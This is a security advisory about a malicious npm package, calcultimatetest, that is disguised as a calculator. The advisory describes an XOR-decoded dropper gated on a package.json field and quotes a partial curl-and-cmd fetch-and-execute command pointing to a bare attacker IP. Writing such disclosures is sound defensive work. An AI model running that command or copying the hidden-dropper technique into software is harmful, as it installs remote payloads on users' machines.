MAL-2026-20192: Malicious code in calcultimatetest (npm)

Published Nov 19, 2026
·
Updated

--- -= Per source details. Do not edit below this line.=-

Source: amazon-inspector (c22f8e10fa4d1483bc6841cfa7a171217dbbfbc9a98d13f405e2061afe053ac8) The package is advertised as a calculator utility but main.js, which runs when the module is required, implements a staged remote-execution dropper. On load it reads a hex 'signature' field from package.json and XOR-decodes it using the key 'theskyisbeautiful' stored in config.json. The decoded string resolves to a shell command of the form 'EXECMODE=1; curl -fSL http://65.109.171.171/baseball.bat && cmd /c start /b...' — a bare-IP, plain-HTTP fetch-and-execute of a Windows batch payload. main.js checks whether the decoded string contains 'EXECMODE' and then invokes childprocess.exec through a random 0–5 second setTimeout. In the currently published version the exec target is swapped to a benign 'echo render-init-ok' string, but the decoder, the gate, the exec wiring, and the attacker-controlled URL are all present and reachable on require(). main.js also rewrites the installed package.json to insert a sha256-derived 'signature' value when none is present, giving the signature-gated payload mechanism a persistence/tamper surface inside the installed artifact. The package otherwise ships only a Mandelbrot busy-loop as cover functionality, with no legitimate use for hex-encoded shell commands, XOR-decoded exec paths, or bare-IP HTTP downloads of.bat files.

Affected Software

1 affected component
npm/calcultimatetest=1.0.0

Event History

Nov 19, 2026
Advisory Published
via OSV·06:54 AM
Data Sourced
via OSV·06:54 AM
DescriptionAffected Software

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203